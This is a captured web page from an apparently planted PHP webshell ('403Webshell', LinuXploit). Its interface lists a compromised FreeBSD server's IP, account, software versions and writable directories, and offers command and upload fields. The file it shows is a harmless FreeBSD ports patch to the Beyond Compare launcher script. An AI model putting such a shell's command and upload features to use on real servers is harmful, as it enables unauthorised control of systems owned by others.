403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.168
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/editors/linux-bcompare/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/editors/linux-bcompare/files/extra-patch-usr_bin_bcompare_amd64
--- usr/bin/bcompare.orig	2020-09-01 19:23:29 UTC
+++ usr/bin/bcompare
@@ -1,17 +1,22 @@
 #!/bin/sh
 
-BC_LIB=/usr/lib64/beyondcompare
+LINUXULATOR_LIB=/compat/linux/usr/lib64
+
+BC_LIB=/usr/local/lib/beyondcompare
 export BC_LIB
 
+_LD_PRELOAD="$BC_LIB/nosched.so"
+export _LD_PRELOAD
+
 BC_PACKAGE_TYPE=rpm
 export BC_PACKAGE_TYPE
 
 EXEC="$BC_LIB/BCompare"
 
 if [ -n "$LD_LIBRARY_PATH" ]; then
-export LD_LIBRARY_PATH="$BC_LIB:$LD_LIBRARY_PATH"
+export LD_LIBRARY_PATH="$BC_LIB:$LD_LIBRARY_PATH:$LINUXULATOR_LIB"
 else
-export LD_LIBRARY_PATH="$BC_LIB"
+export LD_LIBRARY_PATH="$BC_LIB:$LINUXULATOR_LIB"
 fi
 
 #check to see if we have all of the shared libraries.
@@ -44,7 +49,7 @@ while [ "$#" -gt 0 ]; do
 	ARGS=$ARGS" \"$1\""
 	shift 1
 done
-/bin/bash -c "exec -a $0 $EXEC $ARGS > /dev/null 2>&1" $0
+/usr/bin/env bash -c "exec -a $0 /usr/bin/env LD_PRELOAD=$_LD_PRELOAD $EXEC $ARGS > /dev/null 2>&1" $0
 
 ########################################
 # set exit code / wait on existing instance
@@ -54,4 +59,6 @@ if [ $EXIT = 99 ]; then
 	EXIT=`cat /tmp/BC4_.$$`
 	rm -f /tmp/BC4_.$$
 fi
+[ ! -f bash.core ] || rm -f bash.core
+[ ! -f pgrep.core ] || rm -f pgrep.core
 exit $EXIT

Youez - 2016 - github.com/yon3zu
LinuXploit